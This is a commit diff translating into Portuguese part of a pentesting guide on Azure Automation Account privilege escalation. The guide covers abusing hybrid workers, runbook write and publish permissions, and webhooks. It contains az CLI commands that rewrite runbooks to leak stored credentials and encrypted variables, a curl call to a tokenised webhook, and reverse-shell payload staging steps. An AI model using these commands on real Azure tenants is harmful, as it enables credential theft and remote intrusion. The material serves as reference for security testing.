Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-05-09 11:45:38 +00:00
parent 0814da8576
commit 442583d9b4

View File

@@ -12,7 +12,7 @@ Para mais informações, consulte:
### Grupo de Trabalhadores Híbridos
- **Do Automation Account para a VM**
- **Da Conta de Automação para a VM**
Lembre-se de que, se de alguma forma um atacante conseguir executar um runbook arbitrário (código arbitrário) em um trabalhador híbrido, ele irá **pivotar para a localização da VM**. Isso pode ser uma máquina local, uma VPC de uma nuvem diferente ou até mesmo uma VM do Azure.
@@ -21,9 +21,9 @@ Além disso, se o trabalhador híbrido estiver sendo executado no Azure com outr
> [!TIP]
> Lembre-se de que o **serviço de metadados** tem uma URL diferente (**`http://169.254.169.254`**) do serviço de onde se obtém o token de identidades gerenciadas da conta de automação (**`IDENTITY_ENDPOINT`**).
- **Da VM para o Automation Account**
- **Da VM para a Conta de Automação**
Além disso, se alguém comprometer uma VM onde um script de conta de automação está sendo executado, ele poderá localizar os metadados da **Automation Account** e acessá-los a partir da VM para obter tokens para as **Identidades Gerenciadas** anexadas à Automation Account.
Além disso, se alguém comprometer uma VM onde um script da conta de automação está sendo executado, ele poderá localizar os metadados da **Conta de Automação** e acessá-los a partir da VM para obter tokens para as **Identidades Gerenciadas** anexadas à Conta de Automação.
Como é possível ver na imagem a seguir, tendo acesso de Administrador sobre a VM, é possível encontrar nas **variáveis de ambiente do processo** a URL e o segredo para acessar o serviço de metadados da conta de automação:
@@ -32,9 +32,9 @@ Como é possível ver na imagem a seguir, tendo acesso de Administrador sobre a
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Automation Account, que você poderia usar para **executar código** no contexto da Automation Account e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis criptografadas** armazenadas na Automation Account.
Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Conta de Automação, que você poderia usar para **executar código** no contexto da Conta de Automação e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis criptografadas** armazenadas na Conta de Automação.
A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Automation Account usando:
A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Conta de Automação usando:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -49,7 +49,7 @@ $creds.GetNetworkCredential().password'
```
Observe como o script anterior pode ser usado para **vazar o nome de usuário e a senha** de uma credencial e o valor de uma **variável criptografada** armazenada na Conta de Automação.
A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação para que as alterações sejam aplicadas:
A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação, aplicando assim as alterações:
```bash
az automation runbook publish \
--resource-group <res-group> \
@@ -134,31 +134,16 @@ az rest --method PUT \
}'
```
> [!TIP]
> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar essa atribuição.
> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar esta atribuição.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Com a permissão **`Microsoft.Automation/automationAccounts/webhooks/write`** é possível criar um novo Webhook para um Runbook dentro de uma Conta de Automação usando o seguinte comando.
Observe que você precisará **indicar a URI do webhook** com o token a ser usado.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Este comando deve retornar um URI de webhook que é exibido apenas na criação. Em seguida, para chamar o runbook usando o URI do webhook
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
@@ -256,7 +241,7 @@ O arquivo de configuração compactado é enviado para um contêiner de Armazena
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Passo 4 — Preparar a Kali Box
- Passo 4 — Preparar Kali Box
O servidor Kali baixa o payload RevPS.ps1 de um repositório do GitHub.
```bash